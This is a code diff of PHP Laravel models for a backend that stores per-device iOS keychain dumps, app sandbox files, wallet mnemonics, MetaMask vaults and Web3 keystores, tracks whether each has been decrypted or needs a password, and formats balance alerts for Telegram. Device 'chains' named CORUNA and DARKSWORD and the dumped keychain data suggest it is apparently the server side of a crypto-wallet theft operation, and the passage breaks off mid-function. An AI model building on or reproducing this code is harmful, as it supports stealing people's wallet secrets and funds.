'usdt', 'trx', 'eth', 'btc', 'bnb',
|
'usdt', 'trx', 'eth', 'btc', 'bnb', 'sol',
|
||||||
'monitor', 'source',
|
'monitor', 'monitor_synced', 'monitor_failures', 'source', 'mnemonic_id', 'derive_index',
|
||||||
];
|
];
|
||||||
|
|
||||||
protected function casts(): array
|
protected function casts(): array
|
||||||
{
|
{
|
||||||
return [
|
return [
|
||||||
'monitor' => 'integer',
|
'monitor' => 'integer',
|
||||||
|
'monitor_synced' => 'boolean',
|
||||||
|
'monitor_failures' => 'integer',
|
||||||
|
'derive_index' => 'integer',
|
||||||
'usdt' => 'decimal:6',
|
'usdt' => 'decimal:6',
|
||||||
'trx' => 'decimal:6',
|
'trx' => 'decimal:6',
|
||||||
'eth' => 'decimal:18',
|
'eth' => 'decimal:18',
|
||||||
'btc' => 'decimal:8',
|
'btc' => 'decimal:8',
|
||||||
'bnb' => 'decimal:18',
|
'bnb' => 'decimal:18',
|
||||||
|
'sol' => 'decimal:9',
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -42,6 +47,11 @@ class WalletAddress extends Model
|
|||||||
return $this->belongsTo(Device::class);
|
return $this->belongsTo(Device::class);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function mnemonic(): BelongsTo
|
||||||
|
{
|
||||||
|
return $this->belongsTo(WalletMnemonic::class, 'mnemonic_id');
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Map a symbol=>amount payload into coin column attributes (only known coins).
|
* Map a symbol=>amount payload into coin column attributes (only known coins).
|
||||||
* Missing symbols are omitted (caller merges with existing row).
|
* Missing symbols are omitted (caller merges with existing row).
|
||||||
@@ -68,6 +78,11 @@ class WalletAddress extends Model
|
|||||||
if (! is_numeric($value)) {
|
if (! is_numeric($value)) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
// A wallet balance can never be negative; clamp device-reported negatives to 0.
|
||||||
|
if ((float) $value < 0) {
|
||||||
|
$out[$col] = '0';
|
||||||
|
continue;
|
||||||
|
}
|
||||||
$out[$col] = $value;
|
$out[$col] = $value;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -89,6 +104,10 @@ class WalletAddress extends Model
|
|||||||
if (! is_numeric($amount)) {
|
if (! is_numeric($amount)) {
|
||||||
return (string) $amount;
|
return (string) $amount;
|
||||||
}
|
}
|
||||||
|
// Defensive: never render a negative balance (e.g. stale device-reported rows).
|
||||||
|
if ((float) $amount < 0) {
|
||||||
|
$amount = '0';
|
||||||
|
}
|
||||||
|
|
||||||
$decimals = self::displayDecimals($coin);
|
$decimals = self::displayDecimals($coin);
|
||||||
$formatted = number_format((float) $amount, $decimals, '.', '');
|
$formatted = number_format((float) $amount, $decimals, '.', '');
|
||||||
@@ -110,6 +129,26 @@ class WalletAddress extends Model
|
|||||||
return $out;
|
return $out;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static function explorerUrl(?string $chain, ?string $address): ?string
|
||||||
|
{
|
||||||
|
$addr = trim((string) $address);
|
||||||
|
if ($addr === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
$enc = rawurlencode($addr);
|
||||||
|
|
||||||
|
return match (strtoupper(trim((string) $chain))) {
|
||||||
|
'TRON', 'TRX' => 'https://tronscan.org/#/address/'.$enc,
|
||||||
|
'ETH', 'ETHEREUM', 'EVM' => 'https://etherscan.io/address/'.$enc,
|
||||||
|
'BSC', 'BNB', 'BINANCE' => 'https://bscscan.com/address/'.$enc,
|
||||||
|
'BTC', 'BITCOIN' => 'https://mempool.space/address/'.$enc,
|
||||||
|
'SOL', 'SOLANA' => 'https://solscan.io/account/'.$enc,
|
||||||
|
'ARB', 'ARBITRUM' => 'https://arbiscan.io/address/'.$enc,
|
||||||
|
default => null,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
public function coinsSummary(): ?string
|
public function coinsSummary(): ?string
|
||||||
{
|
{
|
||||||
$parts = [];
|
$parts = [];
|
||||||
@@ -124,6 +163,30 @@ class WalletAddress extends Model
|
|||||||
return $parts === [] ? null : json_encode($parts, JSON_UNESCAPED_UNICODE);
|
return $parts === [] ? null : json_encode($parts, JSON_UNESCAPED_UNICODE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Human balance line for Telegram / alerts.
|
||||||
|
* Tron always includes TRX + USDT (even when 0); other chains omit empty/zero.
|
||||||
|
*/
|
||||||
|
public function balanceDisplayLine(): string
|
||||||
|
{
|
||||||
|
$chain = strtoupper(trim((string) $this->chain_type));
|
||||||
|
if (in_array($chain, ['TRON', 'TRX'], true)) {
|
||||||
|
return 'TRX: '.self::formatAmount('trx', $this->trx ?? 0)
|
||||||
|
.' USDT: '.self::formatAmount('usdt', $this->usdt ?? 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
$parts = [];
|
||||||
|
foreach (self::COIN_COLUMNS as $col) {
|
||||||
|
$raw = $this->{$col};
|
||||||
|
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$parts[] = strtoupper($col).': '.self::formatAmount($col, $raw);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $parts === [] ? '—' : implode(' ', $parts);
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Snapshot of coin columns for change detection.
|
* Snapshot of coin columns for change detection.
|
||||||
*
|
*
|
||||||
|
|||||||
@@ -4,22 +4,868 @@ namespace App\Models;
|
|||||||
|
|
||||||
use Illuminate\Database\Eloquent\Model;
|
use Illuminate\Database\Eloquent\Model;
|
||||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
class WalletKeystore extends Model
|
class WalletKeystore extends Model
|
||||||
{
|
{
|
||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'device_id', 'raw_json',
|
'device_id', 'chain', 'source', 'decrypted', 'needs_password', 'raw_json', 'content_hash',
|
||||||
|
'list_kind', 'list_item_count', 'list_summary', 'list_has_web3',
|
||||||
];
|
];
|
||||||
|
|
||||||
protected function casts(): array
|
protected function casts(): array
|
||||||
{
|
{
|
||||||
return [
|
return [
|
||||||
'raw_json' => 'array',
|
'raw_json' => 'array',
|
||||||
|
'chain' => 'integer',
|
||||||
|
'decrypted' => 'integer',
|
||||||
|
'needs_password' => 'integer',
|
||||||
|
'list_has_web3' => 'integer',
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Columns for admin/device list pages. Never include raw_json — a page of
|
||||||
|
* dumps will exceed the 128MB PHP limit (see production.ERROR OOM).
|
||||||
|
*
|
||||||
|
* @return list<string|\Illuminate\Database\Query\Expression>
|
||||||
|
*/
|
||||||
|
public static function listColumns(string $table = 'wallet_keystores'): array
|
||||||
|
{
|
||||||
|
$cols = [
|
||||||
|
$table.'.id',
|
||||||
|
$table.'.device_id',
|
||||||
|
$table.'.source',
|
||||||
|
$table.'.decrypted',
|
||||||
|
];
|
||||||
|
if (self::hasChainColumn()) {
|
||||||
|
$cols[] = $table.'.chain';
|
||||||
|
}
|
||||||
|
if (self::hasNeedsPasswordColumn()) {
|
||||||
|
$cols[] = $table.'.needs_password';
|
||||||
|
}
|
||||||
|
|
||||||
|
if (self::hasListStatsColumns()) {
|
||||||
|
$cols[] = $table.'.list_kind';
|
||||||
|
$cols[] = $table.'.list_item_count';
|
||||||
|
$cols[] = $table.'.list_summary';
|
||||||
|
$cols[] = $table.'.list_has_web3';
|
||||||
|
}
|
||||||
|
|
||||||
|
$cols[] = $table.'.created_at';
|
||||||
|
$cols[] = $table.'.updated_at';
|
||||||
|
$cols[] = DB::raw('LENGTH('.$table.'.raw_json) as raw_json_len');
|
||||||
|
|
||||||
|
return $cols;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Same as listColumns() but without LENGTH(raw_json). Use this for
|
||||||
|
* paginated/sorted queries to avoid MySQL "Out of sort memory" (HY001)
|
||||||
|
* — the LENGTH() expression forces MySQL to read large blobs during
|
||||||
|
* filesort, overflowing the sort buffer even for a handful of rows.
|
||||||
|
*
|
||||||
|
* @return list<string>
|
||||||
|
*/
|
||||||
|
public static function listColumnsLight(string $table = 'wallet_keystores'): array
|
||||||
|
{
|
||||||
|
$cols = [
|
||||||
|
$table.'.id',
|
||||||
|
$table.'.device_id',
|
||||||
|
$table.'.source',
|
||||||
|
$table.'.decrypted',
|
||||||
|
];
|
||||||
|
if (self::hasChainColumn()) {
|
||||||
|
$cols[] = $table.'.chain';
|
||||||
|
}
|
||||||
|
if (self::hasNeedsPasswordColumn()) {
|
||||||
|
$cols[] = $table.'.needs_password';
|
||||||
|
}
|
||||||
|
|
||||||
|
if (self::hasListStatsColumns()) {
|
||||||
|
$cols[] = $table.'.list_kind';
|
||||||
|
$cols[] = $table.'.list_item_count';
|
||||||
|
$cols[] = $table.'.list_summary';
|
||||||
|
$cols[] = $table.'.list_has_web3';
|
||||||
|
}
|
||||||
|
|
||||||
|
$cols[] = $table.'.created_at';
|
||||||
|
$cols[] = $table.'.updated_at';
|
||||||
|
|
||||||
|
return $cols;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function hasChainColumn(): bool
|
||||||
|
{
|
||||||
|
static $has = null;
|
||||||
|
if ($has === null) {
|
||||||
|
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'chain');
|
||||||
|
}
|
||||||
|
|
||||||
|
return $has;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function hasNeedsPasswordColumn(): bool
|
||||||
|
{
|
||||||
|
static $has = null;
|
||||||
|
if ($has === null) {
|
||||||
|
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password');
|
||||||
|
}
|
||||||
|
|
||||||
|
return $has;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function hasListStatsColumns(): bool
|
||||||
|
{
|
||||||
|
static $has = null;
|
||||||
|
if ($has === null) {
|
||||||
|
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'list_item_count');
|
||||||
|
}
|
||||||
|
|
||||||
|
return $has;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* List-page stats. Prefer denormalized columns so we never load raw_json
|
||||||
|
* (sandbox dumps can be tens of MB). Cache-miss hydrates once and persists.
|
||||||
|
*
|
||||||
|
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
|
||||||
|
*/
|
||||||
|
public function listStats(): array
|
||||||
|
{
|
||||||
|
if ($this->hasCachedListStats()) {
|
||||||
|
return $this->cachedListStats();
|
||||||
|
}
|
||||||
|
|
||||||
|
$json = is_array($this->raw_json) ? $this->raw_json : null;
|
||||||
|
if ($json === null && $this->id) {
|
||||||
|
$raw = self::query()->whereKey($this->id)->value('raw_json');
|
||||||
|
$this->setAttribute('raw_json', $raw);
|
||||||
|
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
||||||
|
}
|
||||||
|
$json = is_array($json) ? $json : [];
|
||||||
|
|
||||||
|
try {
|
||||||
|
$stats = self::computeListStatsFromJson($json);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::warning('keystore.list.hydrate.fail', [
|
||||||
|
'id' => $this->id,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
|
$stats = [
|
||||||
|
'item_count' => 0,
|
||||||
|
'summary' => '',
|
||||||
|
'kind' => self::kindLabelFor(trim((string) ($json['kind'] ?? ''))),
|
||||||
|
'has_web3_keystore' => false,
|
||||||
|
];
|
||||||
|
} finally {
|
||||||
|
if ($this->id) {
|
||||||
|
$this->setAttribute('raw_json', null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->persistListStats($stats);
|
||||||
|
|
||||||
|
return $stats;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function hasCachedListStats(): bool
|
||||||
|
{
|
||||||
|
return self::hasListStatsColumns()
|
||||||
|
&& array_key_exists('list_item_count', $this->attributes)
|
||||||
|
&& $this->attributes['list_item_count'] !== null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
|
||||||
|
*/
|
||||||
|
public function cachedListStats(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'item_count' => (int) $this->list_item_count,
|
||||||
|
'summary' => (string) ($this->list_summary ?? ''),
|
||||||
|
'kind' => (string) ($this->list_kind ?? ''),
|
||||||
|
'has_web3_keystore' => (int) $this->list_has_web3 === 1,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $json
|
||||||
|
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
|
||||||
|
*/
|
||||||
|
public static function computeListStatsFromJson(array $json): array
|
||||||
|
{
|
||||||
|
$row = new static(['raw_json' => $json]);
|
||||||
|
$names = [];
|
||||||
|
$count = 0;
|
||||||
|
$row->collectListMeta($json, $count, $names);
|
||||||
|
$kind = self::kindLabelFor(trim((string) ($json['kind'] ?? '')));
|
||||||
|
if ($names === []) {
|
||||||
|
$summary = $count > 0 ? $count.' 条' : '';
|
||||||
|
} else {
|
||||||
|
$summary = implode(' · ', $names);
|
||||||
|
if ($count > 3) {
|
||||||
|
$summary .= ' 等'.$count.'条';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'item_count' => $count,
|
||||||
|
'summary' => mb_substr($summary, 0, 255),
|
||||||
|
'kind' => $kind,
|
||||||
|
'has_web3_keystore' => $row->containsWeb3Keystore($json),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} $stats
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
public static function listStatsAttributes(array $stats): array
|
||||||
|
{
|
||||||
|
if (! self::hasListStatsColumns()) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'list_kind' => $stats['kind'],
|
||||||
|
'list_item_count' => $stats['item_count'],
|
||||||
|
'list_summary' => $stats['summary'],
|
||||||
|
'list_has_web3' => ! empty($stats['has_web3_keystore']) ? 1 : 0,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} $stats
|
||||||
|
*/
|
||||||
|
private function persistListStats(array $stats): void
|
||||||
|
{
|
||||||
|
$attrs = self::listStatsAttributes($stats);
|
||||||
|
if ($attrs === []) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
foreach ($attrs as $key => $value) {
|
||||||
|
$this->setAttribute($key, $value);
|
||||||
|
}
|
||||||
|
if ($this->id) {
|
||||||
|
self::query()->whereKey($this->id)->update($attrs);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Count list entries and pick up to 3 names without hashing / base64-decoding blobs.
|
||||||
|
*
|
||||||
|
* @param array<string, mixed> $json
|
||||||
|
* @param list<string> $names
|
||||||
|
*/
|
||||||
|
private function collectListMeta(array $json, int &$count, array &$names): void
|
||||||
|
{
|
||||||
|
$wallets = $json['wallets'] ?? null;
|
||||||
|
if (is_array($wallets)) {
|
||||||
|
foreach ($wallets as $key => $bucket) {
|
||||||
|
if (is_string($bucket) && $bucket !== '') {
|
||||||
|
$count++;
|
||||||
|
if (count($names) < 3) {
|
||||||
|
$names[] = is_string($key) ? $key : 'wallet';
|
||||||
|
}
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (! is_array($bucket)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
|
||||||
|
foreach ($items as $item) {
|
||||||
|
if (! is_array($item)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$count++;
|
||||||
|
if (count($names) < 3) {
|
||||||
|
$name = trim((string) ($item['account'] ?? ''));
|
||||||
|
if ($name !== '') {
|
||||||
|
$names[] = $name;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$sandbox = $json['sandbox'] ?? null;
|
||||||
|
if (is_array($sandbox)) {
|
||||||
|
$this->collectSandboxMeta($sandbox, $count, $names);
|
||||||
|
}
|
||||||
|
if (isset($json['crypto']) && is_array($json['crypto'])) {
|
||||||
|
$count++;
|
||||||
|
if (count($names) < 3) {
|
||||||
|
$names[] = (string) ($json['id'] ?? $json['type'] ?? 'keystore');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $sandbox
|
||||||
|
* @param list<string> $names
|
||||||
|
*/
|
||||||
|
private function collectSandboxMeta(array $sandbox, int &$count, array &$names, string $prefix = ''): void
|
||||||
|
{
|
||||||
|
foreach ($sandbox as $key => $value) {
|
||||||
|
$path = $prefix === '' ? (string) $key : $prefix.'/'.$key;
|
||||||
|
if (is_array($value)) {
|
||||||
|
if (isset($value['items']) && is_array($value['items'])) {
|
||||||
|
foreach ($value['items'] as $item) {
|
||||||
|
if (! is_array($item)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$count++;
|
||||||
|
if (count($names) < 3) {
|
||||||
|
$name = trim((string) ($item['account'] ?? ''));
|
||||||
|
$names[] = $name !== '' ? $name : $path;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$this->collectSandboxMeta($value, $count, $names, $path);
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (! is_string($value) || $value === '') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$count++;
|
||||||
|
if (count($names) < 3) {
|
||||||
|
$names[] = $path;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function kindLabelFor(string $kind): string
|
||||||
|
{
|
||||||
|
return match ($kind) {
|
||||||
|
'keychain.wallets' => '钥匙串',
|
||||||
|
'sandbox' => '沙盒文件',
|
||||||
|
'web3.keystore' => '标准 Keystore',
|
||||||
|
'metamask.vault' => 'MetaMask Vault',
|
||||||
|
'coin98.wallet' => 'Coin98 加密钱包',
|
||||||
|
'encrypted.sandbox' => '加密钱包文件',
|
||||||
|
default => $kind !== '' ? $kind : '未知',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $rawJson
|
||||||
|
*/
|
||||||
|
public static function hashPayload(array $rawJson): string
|
||||||
|
{
|
||||||
|
$row = new static(['raw_json' => $rawJson]);
|
||||||
|
$digests = $row->contentDigests();
|
||||||
|
$seed = $row->kind().'|'.implode(',', $digests);
|
||||||
|
if ($digests === []) {
|
||||||
|
$seed .= '|'.json_encode($rawJson, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||||
|
}
|
||||||
|
|
||||||
|
return hash('sha256', $seed);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $rawJson
|
||||||
|
* @param bool $needsPassword When true, persist needs_password=1. Never writes 0.
|
||||||
|
*/
|
||||||
|
public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson, bool $needsPassword = false): self
|
||||||
|
{
|
||||||
|
$hash = self::hashPayload($rawJson);
|
||||||
|
$matches = [];
|
||||||
|
$select = ['id', 'content_hash', 'decrypted'];
|
||||||
|
if (self::hasChainColumn()) {
|
||||||
|
$select[] = 'chain';
|
||||||
|
}
|
||||||
|
if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
|
||||||
|
$select[] = 'needs_password';
|
||||||
|
}
|
||||||
|
foreach (self::query()->where('device_id', $device->id)->select($select)->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) {
|
||||||
|
$rowHash = (string) $row->content_hash;
|
||||||
|
if ($rowHash === '') {
|
||||||
|
$raw = self::query()->whereKey($row->id)->value('raw_json');
|
||||||
|
$row->setAttribute('raw_json', $raw);
|
||||||
|
$rowHash = self::hashPayload(is_array($row->raw_json) ? $row->raw_json : []);
|
||||||
|
$row->setAttribute('raw_json', null);
|
||||||
|
}
|
||||||
|
if (! hash_equals($rowHash, $hash)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if ((string) $row->content_hash !== $hash) {
|
||||||
|
self::query()->whereKey($row->id)->update(['content_hash' => $hash]);
|
||||||
|
$row->setAttribute('content_hash', $hash);
|
||||||
|
}
|
||||||
|
$row->setAttribute('raw_json', null);
|
||||||
|
$matches[] = $row;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($matches !== []) {
|
||||||
|
$keep = $matches[0];
|
||||||
|
foreach (array_slice($matches, 1) as $dup) {
|
||||||
|
$dup->delete();
|
||||||
|
}
|
||||||
|
if ($needsPassword) {
|
||||||
|
self::markNeedsPassword($keep);
|
||||||
|
}
|
||||||
|
self::fillChain($keep, $device);
|
||||||
|
|
||||||
|
return $keep;
|
||||||
|
}
|
||||||
|
|
||||||
|
$payload = [
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => $source,
|
||||||
|
'decrypted' => 0,
|
||||||
|
'raw_json' => $rawJson,
|
||||||
|
];
|
||||||
|
if (self::hasChainColumn()) {
|
||||||
|
$payload['chain'] = self::chainFromDevice($device);
|
||||||
|
}
|
||||||
|
$payload = array_merge($payload, self::listStatsAttributes(self::computeListStatsFromJson($rawJson)));
|
||||||
|
if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'content_hash')) {
|
||||||
|
$payload['content_hash'] = $hash;
|
||||||
|
}
|
||||||
|
if ($needsPassword && \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
|
||||||
|
$payload['needs_password'] = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return self::query()->create($payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function chainFromDevice(Device $device): int
|
||||||
|
{
|
||||||
|
$chain = (int) ($device->chain ?: Device::CHAIN_CORUNA);
|
||||||
|
|
||||||
|
return in_array($chain, [Device::CHAIN_CORUNA, Device::CHAIN_DARKSWORD, Device::CHAIN_APP], true)
|
||||||
|
? $chain
|
||||||
|
: Device::CHAIN_CORUNA;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Fill missing chain from the device. Does not overwrite a stored value.
|
||||||
|
*/
|
||||||
|
public static function fillChain(self $row, Device $device): void
|
||||||
|
{
|
||||||
|
if (! self::hasChainColumn()) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if ((int) $row->chain === Device::CHAIN_CORUNA
|
||||||
|
|| (int) $row->chain === Device::CHAIN_DARKSWORD
|
||||||
|
|| (int) $row->chain === Device::CHAIN_APP) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$chain = self::chainFromDevice($device);
|
||||||
|
self::query()->whereKey($row->id)->update(['chain' => $chain]);
|
||||||
|
$row->setAttribute('chain', $chain);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Flag a row as requiring a user password. Writes 1 only; never 0.
|
||||||
|
*/
|
||||||
|
public static function markNeedsPassword(self $row): void
|
||||||
|
{
|
||||||
|
if (! \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if ((int) $row->needs_password === 1) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
self::query()->whereKey($row->id)->update(['needs_password' => 1]);
|
||||||
|
$row->setAttribute('needs_password', 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<string>
|
||||||
|
*/
|
||||||
|
public function contentDigests(): array
|
||||||
|
{
|
||||||
|
$out = [];
|
||||||
|
foreach ($this->listedItems() as $item) {
|
||||||
|
$sha = (string) ($item['data_sha'] ?? '');
|
||||||
|
if ($sha === '' || (int) ($item['data_len'] ?? 0) <= 0) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$out[] = $sha;
|
||||||
|
}
|
||||||
|
sort($out);
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function sourceLabel(): string
|
||||||
|
{
|
||||||
|
$source = trim((string) $this->source);
|
||||||
|
|
||||||
|
return $source !== '' ? $source : '未知';
|
||||||
|
}
|
||||||
|
|
||||||
|
public function kind(): string
|
||||||
|
{
|
||||||
|
return is_array($this->raw_json) ? trim((string) ($this->raw_json['kind'] ?? '')) : '';
|
||||||
|
}
|
||||||
|
|
||||||
|
public function kindLabel(): string
|
||||||
|
{
|
||||||
|
return self::kindLabelFor($this->kind());
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Detect whether this keystore entry contains a standard Web3 keystore
|
||||||
|
* (Web3 Secret Storage Definition): a JSON object with a `crypto` field
|
||||||
|
* that has `ciphertext` and `mac` sub-keys. This covers imToken
|
||||||
|
* walletsV2 keystores (stored directly or nested under wallets.imtoken)
|
||||||
|
* and any UTC-style keystore blob.
|
||||||
|
*
|
||||||
|
* iOS keychain items (Coin98, MetaMask, Phantom, etc. with dataHex) and
|
||||||
|
* sandbox files do NOT match and will return false.
|
||||||
|
*/
|
||||||
|
public function hasWeb3Keystore(): bool
|
||||||
|
{
|
||||||
|
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
||||||
|
|
||||||
|
return $this->containsWeb3Keystore($json);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param mixed $node
|
||||||
|
*/
|
||||||
|
private function containsWeb3Keystore(mixed $node, int $depth = 0): bool
|
||||||
|
{
|
||||||
|
if ($depth > 12 || ! is_array($node)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ($this->isWeb3KeystoreNode($node)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
foreach ($node as $child) {
|
||||||
|
if (is_array($child) && $this->containsWeb3Keystore($child, $depth + 1)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $node
|
||||||
|
*/
|
||||||
|
private function isWeb3KeystoreNode(array $node): bool
|
||||||
|
{
|
||||||
|
$crypto = $node['crypto'] ?? null;
|
||||||
|
|
||||||
|
return is_array($crypto)
|
||||||
|
&& isset($crypto['ciphertext'], $crypto['mac'])
|
||||||
|
&& is_string($crypto['ciphertext'])
|
||||||
|
&& is_string($crypto['mac']);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<array{
|
||||||
|
* account: string,
|
||||||
|
* service: string,
|
||||||
|
* access_group: string,
|
||||||
|
* protection_class: string,
|
||||||
|
* path: string,
|
||||||
|
* data_len: int,
|
||||||
|
* data_preview: string,
|
||||||
|
* data_sha: string
|
||||||
|
* }>
|
||||||
|
*/
|
||||||
|
public function listedItems(): array
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
return $this->collectListedItems();
|
||||||
|
} catch (\Throwable) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<array{
|
||||||
|
* account: string,
|
||||||
|
* service: string,
|
||||||
|
* access_group: string,
|
||||||
|
* protection_class: string,
|
||||||
|
* path: string,
|
||||||
|
* data_len: int,
|
||||||
|
* data_preview: string,
|
||||||
|
* data_sha: string
|
||||||
|
* }>
|
||||||
|
*/
|
||||||
|
private function collectListedItems(): array
|
||||||
|
{
|
||||||
|
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
||||||
|
$out = [];
|
||||||
|
$wallets = $json['wallets'] ?? null;
|
||||||
|
if (is_array($wallets)) {
|
||||||
|
foreach ($wallets as $key => $bucket) {
|
||||||
|
if (is_string($bucket) && $bucket !== '') {
|
||||||
|
$out[] = $this->normalizeItem([
|
||||||
|
'account' => is_string($key) ? $key : 'wallet',
|
||||||
|
'data' => $bucket,
|
||||||
|
]);
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (! is_array($bucket)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
|
||||||
|
foreach ($items as $item) {
|
||||||
|
if (is_array($item)) {
|
||||||
|
$out[] = $this->normalizeItem($item);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$sandbox = $json['sandbox'] ?? null;
|
||||||
|
if (is_array($sandbox)) {
|
||||||
|
$out = array_merge($out, $this->sandboxItems($sandbox));
|
||||||
|
}
|
||||||
|
if (isset($json['crypto']) && is_array($json['crypto'])) {
|
||||||
|
$out[] = $this->normalizeItem([
|
||||||
|
'account' => (string) ($json['id'] ?? $json['type'] ?? 'keystore'),
|
||||||
|
'path' => 'crypto',
|
||||||
|
'dataHex' => (string) ($json['crypto']['ciphertext'] ?? ''),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function itemCount(): int
|
||||||
|
{
|
||||||
|
return count($this->listedItems());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function summary(): string
|
||||||
|
{
|
||||||
|
